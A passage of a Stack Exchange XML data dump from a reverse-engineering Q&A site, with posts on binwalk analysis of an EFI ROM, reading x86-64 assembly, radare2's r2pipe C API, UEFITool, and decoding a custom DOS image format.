zero indicates that Duplicate Address Detection is not performed.&quot;&#xA;2841124       0x2B5A24        Microsoft executable, portable (PE)&#xA;2886244       0x2C0A64        Microsoft executable, portable (PE)&#xA;2935468       0x2CCAAC        Microsoft executable, portable (PE)&#xA;2984732       0x2D8B1C        Microsoft executable, portable (PE)&#xA;3005316       0x2DDB84        Microsoft executable, portable (PE)&#xA;3029964       0x2E3BCC        Microsoft executable, portable (PE)&#xA;3054636       0x2E9C2C        Microsoft executable, portable (PE)&#xA;3079324       0x2EFC9C        Microsoft executable, portable (PE)&#xA;3099944       0x2F4D28        Microsoft executable, portable (PE)&#xA;3136900       0x2FDD84        Microsoft executable, portable (PE)&#xA;3157508       0x302E04        Microsoft executable, portable (PE)&#xA;3182196       0x308E74        Microsoft executable, portable (PE)&#xA;3206884       0x30EEE4        Microsoft executable, portable (PE)&#xA;3231580       0x314F5C        Microsoft executable, portable (PE)&#xA;3256252       0x31AFBC        Microsoft executable, portable (PE)&#xA;3272732       0x31F01C        Microsoft executable, portable (PE)&#xA;3313804       0x32908C        Microsoft executable, portable (PE)&#xA;3358956       0x3340EC        Microsoft executable, portable (PE)&#xA;3388919       0x33B5F7        Copyright string: &quot;Copyright (c) 1998-2002,2004,2006-2016 Glenn Randers-Pehrson&quot;&#xA;3388980       0x33B634        Copyright string: &quot;Copyright (c) 1996-1997 Andreas Dilger&quot;&#xA;3389019       0x33B65B        Copyright string: &quot;Copyright (c) 1995-1996 Guy Eric Schalnat, Group 42, Inc.&quot;&#xA;3389516       0x33B84C        CRC32 polynomial table, little endian&#xA;3393612       0x33C84C        CRC32 polynomial table, big endian&#xA;3416404       0x342154        Microsoft executable, portable (PE)&#xA;3436964       0x3471A4        PNG image, 16 x 23, 8-bit/color RGBA, non-interlaced&#xA;3437904       0x347550        Microsoft executable, portable (PE)&#xA;3456260       0x34BD04        Microsoft executable, portable (PE)&#xA;3480948       0x351D74        Microsoft executable, portable (PE)&#xA;3505628       0x357DDC        Microsoft executable, portable (PE)&#xA;3530360       0x35DE78        Microsoft executable, portable (PE)&#xA;3591800       0x36CE78        Microsoft executable, portable (PE)&#xA;3608308       0x370EF4        Microsoft executable, portable (PE)&#xA;3628928       0x375F80        Microsoft executable, portable (PE)&#xA;3653612       0x37BFEC        Microsoft executable, portable (PE)&#xA;3674284       0x3810AC        Microsoft executable, portable (PE)&#xA;3740004       0x391164        Microsoft executable, portable (PE)&#xA;3789332       0x39D214        Microsoft executable, portable (PE)&#xA;3830392       0x3A7278        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 33562 bytes&#xA;3840284       0x3A991C        XML document, version: &quot;1.0&quot;&#xA;3849137       0x3ABBB1        Copyright string: &quot;Copyright&amp;lt;/key&amp;gt;&quot;&#xA;3849162       0x3ABBCA        Copyright string: &quot;Copyright Apple Computer, Inc. 2000-2003. Copyright David Elliott 2007&amp;lt;/string&amp;gt;&quot;&#xA;3849204       0x3ABBF4        Copyright string: &quot;Copyright David Elliott 2007&amp;lt;/string&amp;gt;&quot;&#xA;3849716       0x3ABDF4        XML document, version: &quot;1.0&quot;&#xA;3850010       0x3ABF1A        Copyright string: &quot;Copyright 2002-2006 Apple Computer, Inc.&amp;lt;/string&amp;gt;&quot;&#xA;3853372       0x3ACC3C        XML document, version: &quot;1.0&quot;&#xA;3855380       0x3AD414        XML document, version: &quot;1.0&quot;&#xA;3888980       0x3B5754        XML document, version: &quot;1.0&quot;&#xA;3923772       0x3BDF3C        Microsoft executable, portable (PE)&#xA;4577500       0x45D8DC        CRC32 polynomial table, little endian&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Noldj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Noldj.png&quot; alt=&quot;extracted entropy plot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entropy plot of the extracted file looks similar to the entropy of the first portion of the original file preceding the LZMA compressed block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible next step in the analysis could be to verify that the signatures that &lt;code&gt;binwalk&lt;/code&gt; detects as PE file headers are true positives and that there really are PE files embedded within. &lt;code&gt;binwalk&lt;/code&gt; detects x86 opcodes (this might mean nothing because the architecture of the file is x86-64, but it seems relevant), and when a hex dump is examined, what appears to be PE file information can be seen:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ binwalk -A 71058&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;3857660       0x3ADCFC        Intel x86 instructions, function prologue&#xA;3857700       0x3ADD24        Intel x86 instructions, function prologue&#xA;3857740       0x3ADD4C        Intel x86 instructions, function prologue&#xA;3857800       0x3ADD88        Intel x86 instructions, function prologue&#xA;3857860       0x3ADDC4        Intel x86 instructions, function prologue&#xA;3857920       0x3ADE00        Intel x86 instructions, function prologue&#xA;3857934       0x3ADE0E        Intel x86 instructions, function prologue&#xA;3857992       0x3ADE48        Intel x86 instructions, function prologue&#xA;3858050       0x3ADE82        Intel x86 instructions, function prologue&#xA;3858102       0x3ADEB6        Intel x86 instructions, function prologue&#xA;3858160       0x3ADEF0        Intel x86 instructions, function prologue&#xA;3858212       0x3ADF24        Intel x86 instructions, function prologue&#xA;3858508       0x3AE04C        Intel x86 instructions, function prologue&#xA;3858644       0x3AE0D4        Intel x86 instructions, function prologue&#xA;3858678       0x3AE0F6        Intel x86 instructions, function prologue&#xA;3858708       0x3AE114        Intel x86 instructions, function prologue&#xA;3858780       0x3AE15C        Intel x86 instructions, function prologue&#xA;3858834       0x3AE192        Intel x86 instructions, function prologue&#xA;3858858       0x3AE1AA        Intel x86 instructions, function prologue&#xA;3858882       0x3AE1C2        Intel x86 instructions, function prologue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Side-by-side hex dump of EFI64.ROM and the extracted file via &lt;code&gt;binwalk -W -l 6000 ../EFI64.ROM 71058&lt;/code&gt; (note the strings &lt;code&gt;PE&lt;/code&gt;, &lt;code&gt;.text&lt;/code&gt;, &lt;code&gt;.data&lt;/code&gt; - click on the image to enlarge it):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aEJQi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aEJQi.png&quot; alt=&quot;hex dump&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try slicing out the bytes extending from one PE header to another and disassembling it. If the slice can be disassembled and the disassembly looks correct, it probably really is a PE file. If this is the case, the same methodology can be applied to extract the rest of the embedded PE files.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-12-09T03:19:51.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16943" PostTypeId="1" AcceptedAnswerId="16944" CreationDate="2017-12-09T07:02:19.247" Score="1" ViewCount="3166" Body="&lt;pre&gt;&lt;code&gt;push   %rbp&#xA;mov    %rsp,%rbp&#xA;mov    %rdi,-0x18(%rbp)&#xA;mov    %rsi,-0x20(%rbp)&#xA;mov    -0x18(%rbp),%rax&#xA;mov    (%rax),%eax&#xA;mov    %eax,-0x4(%rbp)&#xA;mov    -0x20(%rbp),%rax&#xA;mov    (%rax),%edx&#xA;mov    -0x18(%rbp),%rax&#xA;mov    %edx,(%rax)&#xA;mov    -0x20(%rbp),%rax&#xA;mov    -0x4(%rbp),%edx&#xA;mov    %edx,(%rax)&#xA;mov    -0x18(%rbp),%rax&#xA;mov    (%rax),%edx&#xA;mov    -0x20(%rbp),%rax&#xA;mov    (%rax),%eax&#xA;add    %edx,%eax&#xA;pop    %rbp&#xA;retq  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am just looking for someone to confirm my thinking, what I am seeing happen is that parameter 1 is taken and put 18 below rbp and parameter two is taken and put 20 below rbp and then it seems to me that the parameters are set to each other as in x=y and y=x however at the very end the second parameter is set to rax and then added to edx which i believe is the first parameter and then returned. Is this correct or am i way off?&lt;/p&gt;&#xA;" OwnerUserId="22559" LastActivityDate="2017-12-09T15:55:43.160" Title="What does this assembly instruction do?" Tags="|assembly|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16944" PostTypeId="2" ParentId="16943" CreationDate="2017-12-09T07:13:02.683" Score="2" Body="&lt;p&gt;Yes, that seems correct. The equivalent C code would look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int func(int *arg1, int *arg2)&#xA;{&#xA;    int temp = *arg1;&#xA;    *arg1 = *arg2;&#xA;    *arg2 = temp;&#xA;    return *arg1 + *arg2;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The use of stack-based storage indexed off of &lt;code&gt;rbp&lt;/code&gt; is what we called &lt;a href=&quot;https://en.wikipedia.org/wiki/Stack-based_memory_allocation&quot; rel=&quot;nofollow noreferrer&quot;&gt;local storage&lt;/a&gt;. We can give each use a name to make it easier to see what is going on. Let's call the value at &lt;code&gt;rbp-0x18&lt;/code&gt; local_arg1, &lt;code&gt;rbp-0x20&lt;/code&gt; local_arg2 and &lt;code&gt;rbp-0x4&lt;/code&gt; local_temp. By &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;calling convention&lt;/a&gt;, &lt;code&gt;rdi&lt;/code&gt; is the first argument to the function and &lt;code&gt;rsi&lt;/code&gt; is the second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding comments where pointer dereferencing is occurring, the disassembly is then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push   %rbp&#xA;mov    %rsp,%rbp         &#xA;mov    %rdi,local_arg1&#xA;mov    %rsi,local_arg2&#xA;mov    local_arg1,%rax&#xA;mov    (%rax),%eax        ; dereference the pointer i.e. eax = *arg1&#xA;mov    %eax,local_temp&#xA;mov    local_arg2,%rax&#xA;mov    (%rax),%edx        ; edx = *arg2&#xA;mov    local_arg1,%rax&#xA;mov    %edx,(%rax)        ; *arg1 = edx&#xA;mov    local_arg2,%rax&#xA;mov    local_temp,%edx&#xA;mov    %edx,(%rax)        ; *arg2 = edx&#xA;mov    local_arg1,%rax&#xA;mov    (%rax),%edx        ; edx = *arg1&#xA;mov    local_arg2,%rax&#xA;mov    (%rax),%eax        ; eax = *arg2&#xA;add    %edx,%eax&#xA;pop    %rbp&#xA;retq  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14715" LastEditorUserId="14715" LastEditDate="2017-12-09T15:55:43.160" LastActivityDate="2017-12-09T15:55:43.160" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16945" PostTypeId="2" ParentId="16938" CreationDate="2017-12-09T13:31:11.667" Score="2" Body="&lt;p&gt;FWIW:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to restore the original graph by undefining the whole function, then recreate it one opcode at a time, starting from the bottom.&#xA;At each step I made sure to switch into graph view - and at some point IDA drew a graph that was complete gibberish.&#xA;I then right-clicked and selected the &quot;Layout Graph&quot; option, and viola - the complete graph of the function was back to normal once the whole function was re-defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still don't know exactly what caused this behaviour :-/&lt;/p&gt;&#xA;" OwnerUserId="22555" LastActivityDate="2017-12-09T13:31:11.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16946" PostTypeId="2" ParentId="16939" CreationDate="2017-12-09T14:23:38.353" Score="2" Body="&lt;p&gt;Most UEFI implementations use a standard ROM layout (FFS - Flash File System), described in the UEFI's PI (Platform Initialization) &lt;a href=&quot;http://uefi.org/specifications&quot; rel=&quot;nofollow noreferrer&quot;&gt;specification&lt;/a&gt;. There are many tools and scripts which can parse this format, the simplest is probably &lt;a href=&quot;https://github.com/LongSoft/UEFITool&quot; rel=&quot;nofollow noreferrer&quot;&gt;UEFITool&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Lho3C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lho3C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-12-09T14:23:38.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16947" PostTypeId="2" ParentId="15667" CreationDate="2017-12-09T16:25:30.493" Score="3" Body="&lt;h2&gt;r2pipe&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The best programming interface to radare2 called &lt;a href=&quot;https://github.com/radare/radare2-r2pipe&quot; rel=&quot;nofollow noreferrer&quot;&gt;r2pipe&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote from the project's Github page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The r2pipe APIs are based on a single r2 primitive found behind&#xA;  &lt;code&gt;r_core_cmd_str()&lt;/code&gt; which is a function that accepts a string parameter&#xA;  describing the r2 command to run and returns a string with the result.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;r2pipe supports many programming languages including &lt;a href=&quot;https://github.com/radare/radare2-r2pipe/tree/master/python&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python&lt;/a&gt;, &lt;a href=&quot;https://github.com/radare/radare2-r2pipe/tree/master/nodejs/r2pipe&quot; rel=&quot;nofollow noreferrer&quot;&gt;NodeJS&lt;/a&gt;, &lt;a href=&quot;https://github.com/radare/radare2-r2pipe/tree/master/rust&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rust&lt;/a&gt;, &lt;a href=&quot;https://github.com/radare/radare2-r2pipe/tree/master/c&quot; rel=&quot;nofollow noreferrer&quot;&gt;C&lt;/a&gt; and others.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Writing the program&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To use r2pipe you should first make sure you have radare2 installed. It is always recommended to use the latest version from git.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install or update radare2 with the following steps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ git clone https://github.com/radare/radare2.git # clone radare2 if you didn't do it yet for some reason.&#xA;$ cd radare2&#xA;$ ./sys/install.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now after radare2 is installed and updated let's move to write the C program to list all the functions of the binary. As you've mentioned in your question, it should be the equivalent for opening the binary with radare2, executing &lt;code&gt;aaa&lt;/code&gt; to analyze the binary (which is actually &lt;code&gt;r2 -A binary_name&lt;/code&gt;) and then execute &lt;code&gt;afl&lt;/code&gt; to list all the functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First we should define a function that accepts r2 instance and command. This function will execute the command, print the results and free the resulting string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;r_socket.h&amp;gt;                           &#xA;&#xA;static void r2cmd(R2Pipe *r2, const char *cmd) {&#xA;        char *msg = r2p_cmd (r2, cmd);          &#xA;        if (msg) {                              &#xA;                printf (&quot;%s\n&quot;, msg);           &#xA;                free (msg);                     &#xA;        }                                       &#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, writing the &lt;code&gt;main()&lt;/code&gt; function should be intuitive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main() {                                           &#xA;        R2Pipe *r2 = r2p_open (&quot;r2 -q0 /bin/echo&quot;);&#xA;        if (r2) {                                  &#xA;                r2cmd (r2, &quot;aaa&quot;);                 &#xA;                r2cmd (r2, &quot;afl&quot;);                 &#xA;                r2p_close (r2);                    &#xA;                return 0;                          &#xA;        }                                          &#xA;        return 1;                                  &#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We define an instance of r2 with the program we want to examine, and then use the function we just created to execute commands through radare2's interface. First we analyze the program using &lt;code&gt;aaa&lt;/code&gt; and then we print the functions using &lt;code&gt;afl&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Compiling&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To compile the program using &lt;code&gt;gcc&lt;/code&gt; we should execute the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc list_functions.c -o list_functions $(pkg-config --cflags r_socket --libs r_socket)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;References&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/radare/radare2-r2pipe&quot; rel=&quot;nofollow noreferrer&quot;&gt;r2pipe project page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/radare/radare2-r2pipe/tree/master/c&quot; rel=&quot;nofollow noreferrer&quot;&gt;r2pipe C bindings&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-12-09T16:25:30.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16948" PostTypeId="2" ParentId="16935" CreationDate="2017-12-09T18:34:57.033" Score="-1" Body="&lt;p&gt;CPUs and OSes can support switching between 32 and 64 bit execution modes kind of easily thanks to how 32bit mode backwards compatibility was made in AMD64. This was kind of a requirement to avoid having the majority of system binaries duplicated on 64bit machines to execute 32bit code (which is still pretty common to be solely distributed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't quite the case for debuggers and some process manipulation tools that in some cases are required to bundle 64bit helper processes or ship both 32 and 64 bit binaries. Switching between 32 and 64 bit execution modes is indeed only a far jump away, but supporting that by a debugger is a lot more complicated. Transition/translation functions must be provided for the debugger's internal states (not the the debugged process's state, some APIs simply cannot cross process bitness boundaries, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not to say it's impossible, merely to explain why this may not be available yet.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-12-09T18:34:57.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16949" PostTypeId="1" AcceptedAnswerId="16950" CreationDate="2017-12-09T19:06:05.300" Score="1" ViewCount="178" Body="&lt;p&gt;This is a probably a very basic question, please bear with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm starting to get into reverse engineering following this pdf I found online: &lt;a href=&quot;https://beginners.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://beginners.re/&lt;/a&gt;&lt;br&gt;&#xA;I am, however, stuck at the very basic steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant part from the PDF: &lt;img src=&quot;https://i.stack.imgur.com/yGeqF.png&quot; alt=&quot;1]&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to compile my c++ code (which is the same as in the book) with the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc main.cpp -S -O&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the output I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z9FJ6.png&quot; alt=&quot;&quot;&gt;&lt;a href=&quot;https://i.stack.imgur.com/z9FJ6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which, as you can see, is very different, and a lot more complicated than the supposed output written in the pdf. I'm unsure what I'm doing wrong, could anyone help me?&lt;/p&gt;&#xA;" OwnerUserId="22565" LastActivityDate="2017-12-09T19:37:05.677" Title="Assembly output too complicated" Tags="|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16950" PostTypeId="2" ParentId="16949" CreationDate="2017-12-09T19:37:05.677" Score="0" Body="&lt;p&gt;Both outputs show the same effective assembly code.  In both outputs, there is only a single instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second example output is a variation of &lt;code&gt;ret&lt;/code&gt; the reason for which is listed in &lt;a href=&quot;https://stackoverflow.com/questions/20526361/what-does-rep-ret-mean#20526918&quot;&gt;this answer on Stackoverflow&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;more complicated&lt;/em&gt; output has several code organizational assembler directives.  These directives are not instructions.&lt;/p&gt;&#xA;" OwnerUserId="22424" LastActivityDate="2017-12-09T19:37:05.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16952" PostTypeId="1" CreationDate="2017-12-10T20:55:11.873" Score="1" ViewCount="633" Body="&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; is there any chance of decoding custom picture format in case I have sufficient amount of data? Please see examples at end.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have binary files of an &lt;strong&gt;old DOS diskmag (late 90's)&lt;/strong&gt;. After couple of weeks playing with 010 Editor, Kaitai Struct and Python I managed to get somehow structured data from these files. It was eventually quite easy, files are innerly indexed and contains all pieces - something like Doom WAD, nothing unexpected for that years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I can extract texts (stored as plaintext), sounds (stored mostly as PCM), music (MOD, XM), fonts (bitmaps) and &lt;strong&gt;pictures&lt;/strong&gt;. Some pictures are stored as simple bitmap (not BMP with header and so, just raw pixel data), some pictures are compressed with PCX-like RLE algorithm, which was not a problem for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is also some other &lt;strong&gt;compression I do not recognize&lt;/strong&gt;. Let's say that for every unknown picture i have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dimensions in pixels (mostly 640x480)&lt;/li&gt;&#xA;&lt;li&gt;color depth (always High Color)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;first binary blob&lt;/strong&gt; (small, usually 1-2 kB, exact size differs)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;second binary blob&lt;/strong&gt; (large, 50-250 kB, exact size differs)&lt;/li&gt;&#xA;&lt;li&gt;screen dump of picture from diskmag running in DOSbox (yay!)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seems to me that &lt;strong&gt;sizes of blobs depends on picture complexity&lt;/strong&gt; and unique used colors. Also I guess that first blob is a dictionary of some kind (or maybe a Huffman tree?), whereas second blob contains compressed picture content itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above that I suspect there is some weird &lt;strong&gt;home-made lossy compression&lt;/strong&gt;, due easily recognisable artifacts around edges and even 8x8 quantization blocks in gradient-filled areas. See below for examples, I have thousands of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question: is there &lt;strong&gt;any chance of decoding&lt;/strong&gt; these pictures? Do I have enough of data, or am I missing something? I think that everything I need is to recognize compression algorithm. Can anybody help me with it? I belive I can do the rest of work in Python as usually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Sorry for not linking binary blobs directly, I don't have enough of reputation here...)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1:&lt;/strong&gt; Added example 06-04002-0004 - the smallest picture I've found (212x160 px).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt; I've realized that diskmag EXE have debug symbols inside! Some interesting function names are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;RLEDecomp (this one is for RLE packed images, I've already solved it)&lt;/li&gt;&#xA;&lt;li&gt;LZSS_Decompress&lt;/li&gt;&#xA;&lt;li&gt;InitHuffDecomp_&lt;/li&gt;&#xA;&lt;li&gt;HuffDecompress_&lt;/li&gt;&#xA;&lt;li&gt;BuildHuffTree_&lt;/li&gt;&#xA;&lt;li&gt;BuildHuffTreeImg_&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can not say if it is more likely for decoding videos (yes, diskmag engine have his own format for videos too, I'm not that far yet), but maybe it will help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 3:&lt;/strong&gt; Diskmag EXE for download: &lt;code&gt;https://filebin.ca/3kL3kgNAqlJI&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 06-04002-0004&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dimensions: 212x160&lt;/li&gt;&#xA;&lt;li&gt;High Color&lt;/li&gt;&#xA;&lt;li&gt;first binary blob: &lt;code&gt;https://filebin.ca/3kJWIHFLZJ9X&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;second binary blob: &lt;code&gt;https://filebin.ca/3kJWL5SqHlAK&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;screen dump:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nlLIl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nlLIl.png&quot; alt=&quot;06-04002-0004&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 06-05000-0004&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dimensions: 640x480&lt;/li&gt;&#xA;&lt;li&gt;High Color&lt;/li&gt;&#xA;&lt;li&gt;first binary blob: &lt;code&gt;https://filebin.ca/3kF4G2r0DnXT&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;second binary blob: &lt;code&gt;https://filebin.ca/3kF4wopld9QG&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;screen dump:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XDyWN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XDyWN.png&quot; alt=&quot;06-05000-0004&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 06-05050-0004&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dimensions: 640x480&lt;/li&gt;&#xA;&lt;li&gt;High Color&lt;/li&gt;&#xA;&lt;li&gt;first binary blob: &lt;code&gt;https://filebin.ca/3kF7hbOexD7D&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;second binary blob: &lt;code&gt;https://filebin.ca/3kF7lLgeaAQ7&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;screen dump:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KWnLF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KWnLF.png&quot; alt=&quot;06-05050-0004&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 06-05483-0004&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dimensions: 312x480&lt;/li&gt;&#xA;&lt;li&gt;High Color&lt;/li&gt;&#xA;&lt;li&gt;first binary blob: &lt;code&gt;https://filebin.ca/3kFAGWNEnNdM&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;second binary blob: &lt;code&gt;https://filebin.ca/3kFAJdwtohzB&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;screen dump:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AIZz8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AIZz8.png&quot; alt=&quot;06-05483-0004&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 06-07011-0004&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dimensions: 640x480&lt;/li&gt;&#xA;&lt;li&gt;High Color&lt;/li&gt;&#xA;&lt;li&gt;first binary blob: &lt;code&gt;https://filebin.ca/3kFGUQGcMZqD&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;second binary blob: &lt;code&gt;https://filebin.ca/3kFGRc37e2pm&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;screen 